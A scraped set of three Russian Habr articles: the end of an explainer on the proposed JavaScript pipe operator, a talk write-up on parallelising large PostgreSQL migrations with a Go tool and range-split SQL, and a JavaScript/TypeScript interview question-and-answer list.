Первый способ применим к любой последовательности операций: вызовы функций, арифметические операции, литералы массивов и объектов, ключевые слова `await` и `yield` и т.д., однако его сложно понимать и поддерживать: код выполняется справа налево, а не слева направо, как мы привыкли. При наличии нескольких аргументов на каком-либо уровне, нам приходится сначала искать название функции слева, затем — передаваемые функции аргументы справа. Редактирование кода усложняется необходимостью определения правильного места для вставки новых аргументов среди множества вложенных скобок.
Рассмотрим пример реального кода из [экосистемы React](https://github.com/facebook/react/blob/17.0.2/scripts/jest/jest-cli.js#L295):
```
console.log(
chalk.dim(
`$ ${Object.keys(envars)
.map(envar =>
`${envar}=${envars[envar]}`)
.join(' ')
}`,
'node',
args.join(' ')));
```
Вот как мы читаем этот пример:
1. Находим начальные данные (`envars`).
2. Затем двигаемся назад и вперед изнутри наружу для каждого этапа преобразования данных, рискуя пропустить какой-нибудь префиксный оператор слева или суффиксный оператор справа:
* `Object.keys()` (слева);
* `.map()` (справа);
* `.join()` (справа);
* шаблонные литералы (с обеих сторон);
* `chalk.dim()` (слева);
* `console.log()` (слева).
Таким образом, мы вынуждены проверять как левую, так и правую стороны для определения начала каждого выражения.
---
Второй способ ограничен набором методов соответствующего класса. Однако, благодаря постфиксной структуре, он используется чаще, чем первый способ, а код легче читать и писать. Код выполняется слева направо. Вложенность, как правило, не слишком глубокая. Параметры функции группируются по ее названию. Редактировать код легко.
Цепочка методов используется многими популярными библиотеками. Например, [jQuery](https://jquery.com/) — это один супер-объект с десятками методов, каждый из которых возвращает тот же объект для обеспечения возможности вызова следующего метода. Такой стиль программирования называется [текучим интерфейсом (fluent interface)](https://ru.wikipedia.org/wiki/Fluent_interface).
К сожалению, этот подход ограничен синтаксисом, не позволяющим вызывать функции, выполнять арифметические операции, использовать литералы массивов и объектов, ключевые слова `await`, `yield` и т.п.
---
Оператор конвейера (pipe operator) объединяет согласованность и легкость использования цепочки методов с широкой применимостью вложенных операций.
Общая структура этого оператора — `value |>` e1 `|>` e2 `|>` e3, где e1, e2 и e3 — выражения, последовательно принимающие значение в качестве параметра. Другими словами, каждое последующее выражение в качестве параметра принимает результат предыдущей операции. В качестве заменителя (placeholder) такого результата используется токен `%`.
Если переписать рассмотренный нами пример с использованием `|>`, то он будет выглядеть так:
```
Object.keys(envars)
.map(envar => `${envar}=${envars[envar]}`)
.join(' ')
|> `$ ${%}`
|> chalk.dim(%, 'node', args.join(' '))
|> console.log(%);
```
Теперь мы легко находим начальные данные (`envars`) и читаем каждое преобразование данных линейно, слева направо.
---
Разумеется, мы можем использовать временные переменные на каждом шаге трансформации данных:
```
const envarString = Object.keys(envars)
.map(envar => `${envar}=${envars[envar]}`)
.join(' ');
const consoleText = `$ ${envarString}`;
const coloredConsoleText = chalk.dim(consoleText, 'node', args.join(' '));
console.log(coloredConsoleText);
```
Однако это делает код слишком нудным и многословным. Как известно, [наименование — это одна из самых сложных задач в программировании](https://martinfowler.com/bliki/TwoHardThings.html), поэтому мы стараемся оставлять переменные анонимными в случаях, когда именование таких переменных не сулит нам никакой выгоды (например, когда переменная используется только один раз, как в последнем примере).
---
Мы также можем использовать одну мутабельную (изменяемую) переменную с коротким названием:
```
let _ = Object.keys(envars)
.map(envar => `${envar}=${envars[envar]}`)
.join(' ');
_ = `$ ${_}`;
_ = chalk.dim(_, 'node', args.join(' '));
console.log(_);
```
Такой подход в "дикой природе" встречается крайне редко. Главная причина этого кроется в том, что значение мутабельной переменной может меняться непредсказуемо, что, в свою очередь, может приводить к тихим багам (silent bugs), которые сложно обнаружить. Например, переменная может быть случайно использована в замыкании или ошибочно переопределена в выражении.
Рассмотрим пример:
```
function one() { return 1; }
function double(x) { return x * 2; }
let _ = one(); // _ равняется 1
_ = double(_); // _ равняется 2
_ = Promise.resolve().then(() =>
// что будет выведено в терминал?
// мы ожидаем увидеть 2, но видим 1,
// поскольку `_` переопределяется ниже
console.log(_));
// _ получает значение 1 перед выполнением коллбэка промиса
_ = one();
```
В случае с `|>` предыдущее значение не может переопределяться, поскольку оно имеет ограниченную лексическую область видимости (lexical scope):
```
let _ = one()
|> double(%)
|> Promise.resolve().then(() =>
// в терминал выводится 2, как и ожидается
console.log(%));
_ = one();
```
---
Еще одним преимуществом `|>` перед последовательностью инструкций присваивания (assignment statements) является то, что `|>` — это выражение (expression).
Это означает, что они могут возвращаться, присваиваться переменным или использоваться в таких контекстах, как выражения JSX.
```
// |>
const envVarFormat = vars =>
Object.keys(vars)
.map(var => `${var}=${vars[var]}`)
.join(' ')
|> chalk.dim(%, 'node', args.join(' '));
// мутабельная переменная
const envVarFormat = (vars) => {
let _ = Object.keys(vars);
_ = _.map(var => `${var}=${vars[var]}`);
_ = _.join(' ');
return chalk.dim(_, 'node', args.join(' '));
}
```
```
// |>
return (
{values
|> Object.keys(%)
|> [...Array.from(new Set(%))]
|> %.map(envar => (
* doStuff(values)
}>{envar}
))}
);
// мутабельная переменная
let _ = values;
_= Object.keys(_);
_= [...Array.from(new Set(_))];
_= _.map(envar => (
- doStuff(values)
}>{envar}
));
return (
{\_}
);
```
---
Синтаксис предлагаемого оператора конвейера позаимствован из языка программирования Hack. В синтаксисе конвейера этого языка правое выражение содержит специальный заменитель, который заменяется результатом вычисления левого выражения. Поэтому мы пишем `value |> one(%) |> two(%) |> three(%)` для того, чтобы "пропустить" `value` через 3 функции.
С правой стороны от `|>` может находиться любое выражение, а заменитель является обычной переменной, поэтому в конвейере может использоваться любой код без каких-либо ограничений:
* `value |> foo(%)` для вызова унарной функции (с одним аргументом);
* `value |> foo(1, %)` для вызова н-арной функции (с несколькими аргументами);
* `value |> %.foo()` для вызова метода;
* `value |> % + 1` для выполнения арифметической операции;
* `value |> [%, 0]` для литерала массива;
* `value |> {foo: %}` для литерала объекта;
* `value |> ${%}` для шаблонных литералов;
* `value |> new Foo(%)` для создания объектов;
* `value |> await %` для ожидания разрешения промиса;
* `value |> (yield %)` для получения значения генератора;
и т.д.
Формальное описание
-------------------
Ссылка на предыдущее значение (topic reference) `%` — это нулевой оператор (nullary operator). Он является заменителем для предыдущего значения (topic value), имеет лексическую область видимости и иммутабелен (неизменяем).
Оператор конвейера (pipe operator) — это инфиксный оператор (infix operator), формирующий выражение конвейера (pipe expression, pipeline). Он оценивает левое выражение (голову или входное значение конвейера — pipe head/pipe input), привязывает итоговое значение (topic value) к ссылке (topic reference), затем оценивает правое выражение (тело конвейера — pipe body) с этой привязкой (binding). Итоговое значение правого выражения становится итоговым значением всего конвейера (выходным значением конвейера — pipe output).
Приоритет `|>` аналогичен приоритету:
* стрелочной функции `=>`;
* операторов присваивания `=`, `+=` и др.;
* операторов генератора `yield` и `yield *`.
Ниже приоритет только у оператора запятой `,`. У всех остальных операторов приоритет выше. Например, `v => v |> % == null |> foo(%, 0)` будет сгруппировано в `v => (v |> (% == null) |> foo(%, 0))`, что эквивалентно `v => foo(v == null, 0)`.
---
Предыдущее значение должно использоваться в теле конвейера хотя бы один раз. Например, `value |> foo + 1` — невалидный синтаксис, поскольку в теле конвейера предыдущее значение не используется. Это связано с тем, что отсутствие предыдущего значения в теле конвейера почти наверняка является ошибкой.
Разумеется, использование предыдущего значения за пределами тела конвейера также запрещено.
Запрещается использовать операторы с аналогичным `|>` приоритетом в качестве головы или тела конвейера. При использовании таких операторов совместно с `|>` для явной группировки следует использовать скобки. Например, `a |> b ? % : c |> %.d` — невалидный синтаксис. Валидные версии: `a |> (b ? % : c) |> %.d` или `a |> (b ? % : c |> %.d)`.
Последнее: привязки предыдущего значения внутри динамически компилируемого кода (например, `eval` или `new Function`) не должны использоваться за пределами этого кода. Например, `v |> eval('% + 1')` выбросит синтаксическую ошибку при вычислении выражения `eval` в процессе выполнения кода (runtime).
При необходимости выполнения побочного эффекта в середине конвейера без модификации данных, пропускаемых через конвейер, можно использовать выражение запятой (comma expression) — `value |> (sideEffect(), %)`. Это может быть полезным для быстрой отладки — `value |> (console.log(%), %)`.
[Здесь](https://github.com/tc39/proposal-pipeline-operator#real-world-examples) можно посмотреть еще несколько примеров реального кода, переписанного с помощью `|>`.
---
Пожалуй, это все, что я хотел рассказать вам о предложении оператора конвейера. Лично мне данное предложение кажется очень интересным. А вы что думаете на этот счет?
Надеюсь, вы узнали что-то новое и не зря потратили время.
Благодарю за внимание и happy coding!
---
[](https://timeweb.cloud/?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/713768/ | null | ru | null |
# #PostgreSQL. Ускоряем деплой в семь раз с помощью «многопоточки»
Всем привет! Мы на проекте ГИС ЖКХ используем PostgreSQL и недавно столкнулись с проблемой долгого выполнения SQL скриптов из-за быстрого увеличения объема данных в БД. В феврале 2018 года на PGConf я рассказал, как мы решали эту проблему. Слайды презентации доступны [на сайте конференции](http://pgconf.ru/2018/110657). Предлагаю вашему вниманию текст моего выступления.
Дано
----
Про ГИС ЖКХ уже была подробная [статья](https://habrahabr.ru/company/lanit/blog/321476/) в блоге группы ЛАНИТ на Хабре. Если в двух словах ГИС ЖКХ – это первый в России федеральный портал о всей информации в ЖКХ, который запущен почти во всех регионах (в 2019 году присоединятся Москва, Питер и Севастополь). За последние три месяца в систему было загружено более 12 ТБ данных о домах, лицевых счетах, фактах оплаты и много-много еще чего, а всего в PostgreSQL сейчас лежит уже более 24 ТБ.
Проект архитектурно разделен на подсистемы. Каждой подсистеме выделена отдельная база данных. Всего таких баз сейчас около 60, они размещены на 11 виртуальных серверах. Некоторые подсистемы нагружены сильнее других, и у них базы по объему могут занимать 3-6 терабайт.
ЦУП, у нас проблема
-------------------
Теперь немного подробнее расскажу о проблеме. Начну издалека: у нас код приложения и код миграций базы данных (под миграцией я понимаю перевод базы данных из одной ревизии в другую с выполнением всех необходимых SQL скриптов для этого) хранятся вместе в системе контроля версий. Это возможно благодаря использованию Liquibase (подробнее про Liquibase на проекте можно узнать из доклада Миши Балаяна на [TechGuruDay](https://www.meetup.com/ru-RU/techguruday/?_cookie-check=anm4Cy64X9QDYNf1) в ЛАНИТ).
Теперь давайте представим себе выпуск версии. Когда данных всего пара терабайт или меньше и все таблицы в пределах сотни гигабайт, изменения (миграции) любых данных или изменения структуры в любых таблицах проходят быстро (обычно).
А теперь представим, что у нас данных уже пара десятков терабайт и появилось несколько таблиц по терабайту и больше (возможно, разбитых на партиции). В новой версии нам нужно провести миграцию по одной из этих таблиц или еще хуже сразу по всем. И при этом время регламентных работ увеличивать нельзя. И при этом такую же миграцию нужно провести и на тестовых базах данных, где железо слабее. И при этом нужно понять заранее, сколько в сумме все миграции по времени займут. Здесь и начинается проблема.
Сперва мы попробовали [советы](https://www.postgresql.org/docs/9.6/static/populate.html) из официальной документации PostgreSQL (удаление индексов и FK перед массовой миграцией, пересоздание таблиц с нуля, использование copy, динамическое изменение конфига). Это дало эффект, но нам хотелось еще быстрее и удобнее (тут, конечно, дело субъективное – кому как удобно :–)). В результате мы реализовали параллельное выполнение массовых миграций, что увеличило скорость на многих кейсах в разы (а иногда и на порядок). Хотя на самом деле запускается параллельно несколько процессов, внутри команды у нас прижилось слово “многопоточка”.
«Многопоточка»
--------------
Основная идея такого подхода заключается в разделении большой таблицы на непересекающиеся диапазоны (например, функцией ntile) и выполнение SQL скрипта не сразу по всем данным, а параллельно по нескольким диапазонам. Каждый параллельный процесс забирает себе один диапазон, блокирует его и начинает выполнять SQL скрипт только для данных из этого диапазона. Как только скрипт отработал, мы опять ищем незаблокированный и еще не обработанный диапазон и повторяем операцию. Важно выбрать правильный ключ для разделения. Это должно быть проиндексированное поле с уникальными значениями. Если такого поля нет, можно использовать служебное поле ctid.
Первая версия «многопоточки» была реализована с помощью вспомогательной таблицы с диапазонами и функции взятия следующего диапазона. Требуемый SQL скрипт подставлялся в анонимную функцию и запускался в требуемом количестве сессий, обеспечивая параллельное выполнение.
**Пример кода**
```
-- Таблица UPDATE_INFO_STEPS используется для реализации обновления/заполнения
-- больших таблиц, выполнения сложных запросов обновления/заполнения
CREATE TABLE UPDATE_INFO_STEPS (
BEGIN_GUID varchar(36),
END_GUID varchar(36) NOT NULL,
STEP_NO int,
STATUS char(1),
BEGIN_UPD timestamp,
END_UPD timestamp,
ROWS_UPDATED int,
ROWS_UPDATED_TEXT varchar(30),
DISCR varchar(10)
);
ALTER TABLE UPDATE_INFO_STEPS ADD PRIMARY KEY(discr, step_no);
-- Функция FUNC_UPDATE_INFO_STEPS реализует ключевой функционал.
-- Возможность "брать" следующий интервал, если текущий занят.
CREATE OR REPLACE FUNCTION func_update_info_steps(
pStep_no int,
pDiscr varchar(10)
) RETURNS text AS
$BODY$
DECLARE
lResult text;
BEGIN
SELECT
'SUCCESS' INTO lResult
FROM
update_info_steps
WHERE
step_no = pStep_no
AND discr = pDiscr
AND status = 'N'
FOR UPDATE NOWAIT;
UPDATE
UPDATE_INFO_STEPS
SET
status = 'A',
begin_upd = now()
WHERE
step_no = pStep_no
AND discr = pDiscr
AND status = 'N';
return lResult;
EXCEPTION WHEN lock_not_available THEN
SELECT
'ERROR' INTO lResult;
return lResult;
END;
$BODY$
LANGUAGE PLPGSQL VOLATILE;
-- Пример использования (1 процесс на 1 сессию)
-- Шаг 1. Заполняем служебную таблицу интервалами для обработки.
DO
LANGUAGE PLPGSQL
$$
DECLARE
-- Указать количество обрабатываемых записей за одну итерацию
l_count int := 10000;
-- Подставить идентификатор
l_discr VARCHAR(10) := '';
BEGIN
INSERT INTO UPDATE\_INFO\_STEPS (
BEGIN\_GUID, END\_GUID, STEP\_NO, STATUS,
DISCR
)
SELECT
min(guid) BEGIN\_GUID,
max(guid) END\_GUID,
RES2.STEP STEP\_NO,
'N' :: char(1) STATUS,
l\_discr DISCR
FROM
(
SELECT
guid,
floor(
(ROWNUM - 1) / l\_count
) + 1 AS STEP
FROM
(
-- Подставить название колонки
SELECT
AS GUID,
-- Подставить название колонки
row\_number() over (
ORDER BY
) AS ROWNUM
FROM
-- Подставить схему и название таблицы
.
ORDER BY
1 --
) RES1
) RES2
GROUP BY
RES2.step;
END;
$$;
-- Шаг 2. Используя служебную таблицу, выполняем скрипт UPDATE.
DO
LANGUAGE PLPGSQL
$$
DECLARE
cur record;
vCount int;
vCount\_text varchar(30);
vCurStatus char(1);
vCurUpdDate date;
-- Подставить идентификатор
l\_discr varchar(10) := '';
l\_upd\_res varchar(100);
BEGIN
FOR cur IN (
SELECT
\*
FROM
UPDATE\_INFO\_STEPS
WHERE
status = 'N'
AND DISCR = l\_discr
ORDER BY
step\_no
) LOOP
vCount := 0;
-- Внутренняя транзакция обязательна!
SELECT
result INTO l\_upd\_res
FROM
dblink(
'',
'SELECT FUNC\_UPDATE\_INFO\_STEPS(' || cur.step\_no
|| ','''
|| l\_discr
|| ''')'
) AS T (result text);
IF l\_upd\_res = 'SUCCESS' THEN
-- Основной скрипт. В данной секции необходимо выполнять
-- требуемые действия по обновлению, вставке и тп.
-- Обязательное требование - использовать интервал
-- cur.begin\_guid - cur.end\_guid и dblink на "самого себя".
-- Указан примерный скрипт.
SELECT
dblink(
'',
'UPDATE FOO set level = 42
WHERE id BETWEEN ''' || cur.begin\_guid
|| ''' AND '''
|| cur.end\_guid
|| ''''
) INTO vCount\_text;
-- Конец основного скрипта.
SELECT
dblink(
'',
'update UPDATE\_INFO\_STEPS
SET status = ''P'', end\_upd = now(),
rows\_updated\_text = ''' || vCount\_text || '''
WHERE step\_no = ' || cur.step\_no || '
AND discr = ''' || l\_discr || ''''
) INTO l\_upd\_res;
END IF;
END LOOP;
END;
$$;
-- Мониторинг выполнения.
SELECT
SUM(CASE status WHEN 'P' THEN 1 ELSE 0 END) done,
SUM(CASE status WHEN 'A' THEN 1 ELSE 0 END) processing,
SUM(CASE status WHEN 'N' THEN 1 ELSE 0 END) LEFT\_,
round(
SUM(CASE status WHEN 'P' THEN 1 ELSE 0 END):: numeric / COUNT(\*)\* 100 :: numeric,
2
) done\_proc
FROM
UPDATE\_INFO\_STEPS
WHERE
discr = '';
```
Такой подход хоть и работал быстро, но требовал очень большого числа действий руками. И если деплой проходил в 3 часа ночи, ДБА должен был отловить момент выполнения «многопоточного» скрипта в Liquibase (который его выполнял, по сути, в одном процессе) и запустить руками еще несколько процессов для ускорения.
«МноGOпоточка 2.0»
------------------
[](https://habrastorage.org/webt/_k/8z/vs/_k8zvswxowmvgu7yibu56-fzrxk.jpeg)
Предыдущая версия «многопоточки» была неудобной в использовании. Поэтому мы сделали приложение на Go, которое автоматизирует процесс (можно сделать и на Python, например, да и на многих других языках).
Сперва мы разбиваем данные в изменяемой таблице на диапазоны. После этого во вспомогательную таблицу задач добавляем информацию о скрипте – его имя (уникальный идентификатор, например, имя задачи в Jira) и количество одновременно запускаемых процессов. Затем во вспомогательную таблицу скриптов добавляем текст SQL миграции, разбитый на диапазоны.
**Пример кода**
```
-- В целевой БД необходимо создать объекты, в которых будет храниться
-- конфигурация многопоточного обновления (pg_parallel_task)
-- и логи задания (pg_parallel_task_statements).
CREATE TABLE IF NOT EXISTS public.pg_parallel_task (
name text primary key, threads_count int not null DEFAULT 10,
comment text
);
COMMENT ON table public.pg_parallel_task
IS 'Задание параллельного выполнения';
COMMENT ON COLUMN public.pg_parallel_task.name
IS 'Уникальный идентификатор';
COMMENT ON COLUMN public.pg_parallel_task.threads_count
IS 'Количество одновременных потоков обработки. По умолчанию 10';
COMMENT ON COLUMN public.pg_parallel_task.comment
IS 'Комментарий';
CREATE TABLE IF NOT EXISTS public.pg_parallel_task_statements (
statement_id bigserial primary key,
task_name text not null references public.pg_parallel_task (name),
sql_statement text not null,
status text not null check (
status in (
'new', 'in progress', 'ok', 'error'
)
) DEFAULT 'new',
start_time timestamp without time zone,
elapsed_sec float(8),
rows_affected bigint,
err text
);
COMMENT ON table public.pg_parallel_task_statements
IS 'Операторы параллельного выполнения';
COMMENT ON COLUMN public.pg_parallel_task_statements.sql_statement
IS 'Полный текст выполняемого запроса';
COMMENT ON COLUMN public.pg_parallel_task_statements.status
IS 'Статус обработки текущего оператора. Один из new|in progress|ok|error';
COMMENT ON COLUMN public.pg_parallel_task_statements.start_time
IS 'Время начала выполнения текущего оператора';
COMMENT ON COLUMN public.pg_parallel_task_statements.elapsed_sec
IS 'Для выполненных операторов, затраченное время в секундах';
COMMENT ON COLUMN public.pg_parallel_task_statements.rows_affected
IS 'Для выполненных операторов, количество затронутных строк';
COMMENT ON COLUMN public.pg_parallel_task_statements.err
IS 'Для выполненных операторов, текст ошибки. NULL, если выполнение успешно.';
-- Основной скрипт
INSERT INTO PUBLIC.pg_parallel_task (NAME, threads_count)
VALUES ('JIRA-001', 10);
INSERT INTO PUBLIC.pg_parallel_task_statements (task_name, sql_statement)
SELECT
'JIRA-001' task_name,
FORMAT(
'UPDATE FOO SET level = 42 where id >= ''%s'' and id <= ''%s''',
MIN(d.id),
MAX(d.id)
) sql_statement
FROM
(
SELECT
id,
NTILE(10) OVER (
ORDER BY
id
) part
FROM
foo
) d
GROUP BY
d.part;
-- Конец основного скрипта
```
При деплое происходит вызов приложения на Go, которое считывает конфигурацию задачи и скрипты по этой задаче из вспомогательных таблиц и автоматически запускает скрипты с заданным числом параллельных процессов (worker’ов). После выполнения управление передается обратно в Liquibase.
**Код**
```
```
Приложение состоит из трех основных абстракций:
* task – загружает в память параметры миграции, количество процессов и все диапазоны, запускает “многопоточку” и поднимает Web–сервер для отслеживания прогресса выполнения;
* statement – представляет собой один диапазон выполняемой операции, также отвечает за изменение статуса выполнения диапазона, запись времени выполнения диапазона, количество строк в диапазоне и т.д.;
* worker – представляет собой один поток выполнения.
В методе task.do создается канал, в который отправляются все statements операции. На этом канале запускается указанное число worker’ов. Внутри worker’ов бесконечный цикл, он мультиплексирует на двух каналах: по которому получает statements и выполняет их, и пустой канал как сигнализатор? что надо завершиться. Как только пустой канал будет закрыт, worker завершит работу – это случается при ошибке в одном из worker’ов. Т.к. каналы в Go это thread–safe структура, то закрытием одного канала мы можем отменить все worker’ы разом. Когда statement в канале закончится, worker просто выйдет из цикла, и уменьшит общий для всех worker'ов счетчик. Так как task всегда знает, сколько worker’ов по нему работает, он просто ждет, когда этот счетчик обнулится и после этого завершается сам.
Плюшки
------
[](https://habrastorage.org/webt/8v/h-/am/8vh-amlk95wkk0gbg63vbzsvkxu.png)
За счет такой реализации «многопоточки» появилось несколько интересных фич:
* Интеграция с Liquibase (вызываем с помощью тега executeCommand).
* простой веб–интерфейс, который появляется при запуске “многопоточки” и содержит всю информацию о ходе ее выполнения.
* Прогресс–бар (мы знаем, сколько обрабатывается один диапазон, сколько запущено параллельных процессов и сколько диапазонов еще осталось обработать – значит можем подсчитать время завершения).
* Динамическое изменение параллельных процессов (пока это мы делаем руками, но в дальнейшем хотим автоматизировать).
* Логирование информации по ходу выполнения многопоточных скриптов для возможности дальнейшего анализа.
* Можно выполнять блокирующие операции типа update, почти ничего не блокируя (если разбить табличку на очень маленькие диапазоны, все скрипты будут выполняться почти мгновенно).
* Есть обертка для вызова “многопоточки” прямо из БД.
Не плюшки
---------
Основным недостатком является необходимость один раз пройти фулсканом по табличке для разбиения ее на диапазоны, если в качестве ключа используется текстовое поле, дата или uid. Если ключом для разбиения выбрано поле с последовательно увеличивающимися плотными значениями, то такой проблемы нет (мы заранее можем указать все диапазоны, просто задав требуемый шаг).
Ускоряемся в семь раз (тест на pgbench таблице)
-----------------------------------------------
Напоследок приведу пример сравнения по скорости выполнения операции UPDATE 500 000 000 строк без использования «многопоточки» и с ней. Простой UPDATE выполнялся 49 минут, тогда как «многопоточка» завершилась за семь минут.
**Пример кода**
```
SELECT count(1) FROM pgbench_accounts;
count
-------
500000000
(1 row)
SELECT pg_size_pretty(pg_total_relation_size('pgbench_accounts'));
pg_size_pretty
----------------
62 Gb
(1 row)
UPDATE pgbench_accounts
SET abalance = 42;
-- Время выполнения 49 минут
vacuum full analyze verbose pgbench_accounts;
INSERT INTO public.pg_parallel_tASk (name, threads_count) values ('JIRA-002', 25);
INSERT INTO public.pg_parallel_tASk_statements (tASk_name, sql_statement)
SELECT 'JIRA-002' tASk_name,
FORMAT('UPDATE pgbench_accounts
SET abalance = 42
WHERE aid >= ''%s'' AND aid <= ''%s'';',
MIN(d.aid), MAX(d.aid)) sql_statement
FROM (SELECT aid, ntile(25) over (order by aid) part
FROM pgbench_accounts) d
GROUP BY d.part;
-- Время выполнения 10 минут
-- Можно дробить по ctid, но получится неравномерно и нужно чтобы эту таблицу никто не изменял в процесе многопоточки
INSERT INTO public.pg_parallel_tASk_statements (tASk_name, sql_statement)
SELECT 'JIRA-002-ctid' tASk_name,
FORMAT('UPDATE pgbench_accounts
SET abalance = 45
WHERE (ctid::text::point)[0]::text > ''%s'' AND (ctid::text::point)[0]::text <= ''%s'';',
(d.min_ctid), (d.max_ctid)) sql_statement
FROM (
WITH max_ctid AS (
SELECT MAX((ctid::text::point)[0]::int) FROM pgbench_accounts)
SELECT generate_series - (SELECT max / 25 FROM max_ctid) AS min_ctid, generate_series AS max_ctid
FROM generate_series((SELECT max / 25 FROM max_ctid), (SELECT max FROM max_ctid), (SELECT max / 25 FROM max_ctid))) d;
-- Время выполнения 9 мин
./pgpar-linux-amd64 jdbc:postgresql://localhost:5432 soldatov password testdatabase JIRA-002
-- Время выполнения 7 минут
```
P.S. Вам это надо, если:
------------------------
Все инструменты хороши для определенных задач, и вот несколько таких для «многопоточки».
* UPDATE таблиц > 100 000 строк.
* UPDATE со сложной логикой, которую можно распараллелить (например, вызов функций для вычисления чего-либо).
* UPDATE без локов. За счет дробления на очень маленькие диапазоны и запуска небольшого числа процессов можно добиться мгновенной обработки каждого диапазона. Таким образом, блокировка тоже будет почти мгновенной.
* Параллельное выполнение changeSet’ов в Liquibase (например, VACUUM).
* Создание и заполнение данными новых полей в таблице.
* Сложные отчеты.
**Почти неблокирующий UPDATE (50 000 диапазонов по 10 000 строк каждый)**
```
INSERT INTO public.pg\_parallel\_task (name, threads\_count)
VALUES ('JIRA-002', 5);
INSERT INTO public.pg\_parallel\_task\_statements (task\_name, sql\_statement)
SELECT
'JIRA-002' task\_name,
FORMAT(
'UPDATE pgbench\_accounts
SET abalance = 42
WHERE filler IS NULL
AND aid >= ''%s'' AND aid <= ''%s'';',
MIN(d.aid),
MAX(d.aid)
) sql\_statement
FROM
(
SELECT
aid,
ntile(10000) over (
order by
aid
) part
FROM
pgbench\_accounts
WHERE
filler IS NULL
) d
GROUP BY
d.part;
```
**Параллельные changeSet’ы в Liquibase**
```
INSERT INTO pg\_parallel\_task (name, threads\_count)
VALUES ('JIRA-003', 2);
INSERT INTO pg\_parallel\_task\_statements (task\_name, sql\_statement)
SELECT
'JIRA-003' task\_name,
'VACUUM FULL ANALYZE pgbench\_accounts;' sql\_statement;
INSERT INTO pg\_parallel\_task\_statements (task\_name, sql\_statement)
SELECT
'JIRA-003' task\_name,
'VACUUM FULL ANALYZE pgbench\_branches;' sql\_statement;
```
**Почти неблокирующее заполнение нового поля таблицы данными (50 000 диапазонов по 10 000 строк каждый) с вызовом «многопоточки» функцией из БД**
```
-- SQL part
ALTER TABLE pgbench_accounts ADD COLUMN account_number text;
INSERT INTO public.pg_parallel_task (name, threads_count) VALUES ('JIRA-004', 5);
INSERT INTO public.pg_parallel_task_statements (task_name, sql_statement)
SELECT 'JIRA-004' task_name,
FORMAT('UPDATE pgbench_accounts
SET account_number = aid::text || filler
WHERE aid >= ''%s'' AND aid <= ''%s'';',
MIN(d.aid), MAX(d.aid)) sql_statement
FROM (SELECT aid,
ntile(50000) over (order by device_version_guid) part
FROM pgbench_accounts) d
GROUP BY d.part;
SELECT * FROM func_run_parallel_task('testdatabase','JIRA-004');
```
**Кстати, у нас есть вакансия**[Ведущий разработчик PostgreSQL/Oracle](https://job.lanit.ru/vacancy/Pages/CH-45.aspx?utm_source=habr&utm_medium=post-2018-03-20&utm_campaign=dks) | https://habr.com/ru/post/351160/ | null | ru | null |
# Собеседование по Javascript, мой опыт. Часть вторая
> *“*И есть еще белые, белые дни, белые горы и белый лед.
> Но все, что мне нужно - это несколько слов и место для шага вперед.*”*
>
> *(Виктор Цой)*
>
>
Введение
--------
Это вторая часть статьи, где будут вопросы, которые мне задавали и ответы на них. Я не берусь оценивать полезность вопросов и их смысл. Просто пишу все как есть, надо признать, что часть из них меня здорово обескуражили и мне пришлось уходить *не солоно хлебавши*, вспоминая один забавный анекдот:
> *"- Ну как на собеседование сходил? Успешно? - Да. Ручку у них спер" (*[*ссылка*](https://vse-shutochki.ru/shutka/33619)*)*
>
>
Часть вопросов будет по typescript, часть по javascript, что-то будет из html, Node.js, настройки, библиотеки, концепции. В общем всё то, о чем говорят на собеседованиях.
Вопросы
-------
**Вопрос 1 (typescript):**
Дан массив:
```
let a = [{a:1},{b:2},{c:3,d:4}];
```
Как создать объект конкатенацию всех элементов в массиве?
**Ответ:**
```
let c = {};
Object.assign(c,...a);
console.log(c);
```
**Вопрос 2 (typescript):**
```
interface IEvent {}
interface ISimpleEvent extends IEvent {}
interface IComplexEvent extends IEvent {}
class T implements ISimpleEvent {}
class D implements IComplexEvent {}
function processEvent(event: IEvent) {
if(event instanceof IComplexEvent) {
// do something complex }
else {
// do something simple
}
}
```
Как сделать так, чтобы этот код заработал?
**Ответ:**
```
interface IEvent {}
interface ISimpleEvent extends IEvent {}
interface IComplexEvent extends IEvent {}
class T implements ISimpleEvent {}
class D implements IComplexEvent {}
function isComplexEvent(event: IEvent): event is IComplexEvent {
return event instanceof D;
}
function processEvent(event: IEvent) {
if(isComplexEvent(event)) {
console.log("IComplexEvent");
} else {
console.log("ISimpleEvent");
}
}
let e: D = new D();
processEvent(e);
```
**Вопрос 3 (typescript):**
```
interface A {
prop1: {
a: number;
b: string;
}
}
function someFunc(k: typeOf A.prop1): void {}
```
Как заставить этот код работать?
**Ответ:**
```
interface A {
prop1: {
a: number;
b: string;
}
}
type sw = A["prop1"];
function someFunc(a: sw) {
console.log(a.b)
}
let q = {
prop1: {
a: 5,
b: "dddd"
}
}
someFunc(q.prop1);
```
**Вопрос 4 (javascript):**
Напишите функцию, которая вернет:
```
console.log(counter()); // output: 0
console.log(counter()); // output: 1
console.log(counter()); // output: 2
```
**Ответ:**
```
function getCounter() {
let count = 0;
return function() {
return count++;
}
}
let counter = getCounter();
console.log(counter()); // output: 0
console.log(counter()); // output: 1
console.log(counter()); // output: 2
```
**Вопрос 5 (javascript):**
Что возвращает функция match?
**Ответ:**
Объект Array, содержащий результаты сопоставления, или null, если ничего не было сопоставлено.
**Вопрос 6:**
Emit, on, once в Node.js
**Ответ:**
Это функции из модуля events, который позволяют работать с событиями. То есть мы вызываем некоторое событие и все подписанные на него слушатели реагируют на него соответствующим образом.
* **emit** – вызывает событие.
* **on** - Добавить listener в конце массива listeners для определенных событий. Этот метод не проверяет был ли listener добавлен когда-либо, или нет.
* **once** - Добавить listener в массив listeners определенного массива. Но этот listener вызывается только 1 раз при происхождении события. Потом он удаляется из массива.
**Вопрос 7 (javascript):**
Как будет работать этот код?
```
console.log('Hi');
var to = setTimeout(function() {
console.log('callback');
}, 0);
//clearTimeout(to);
console.log('Bye');
```
**Ответ:**
```
Hi
Bye
callback
```
Если же раскомментировать //clearTimeout(to), то
```
Hi
Bye
```
Функция внутри setTimeout будет вызвана в момент, когда стек вызовов будет пуст, т.е. сразу после последнего действия в данном коде. setTimeout задерживает выполнение функции на указанное в параметре время плюс то время которое понадобиться на то чтобы выполнить все функции в стеке плюс функции в Callback Queue, которые там уже были на момент вызова SetTimeout().
**Вопрос 8 (html):**
```
box-sizing: border-box
```
**Ответ:**
значения width и height включают в себя размеры padding и border, но не включают margin.
**Вопрос 9:**
Сlean architecture
**Ответ:**
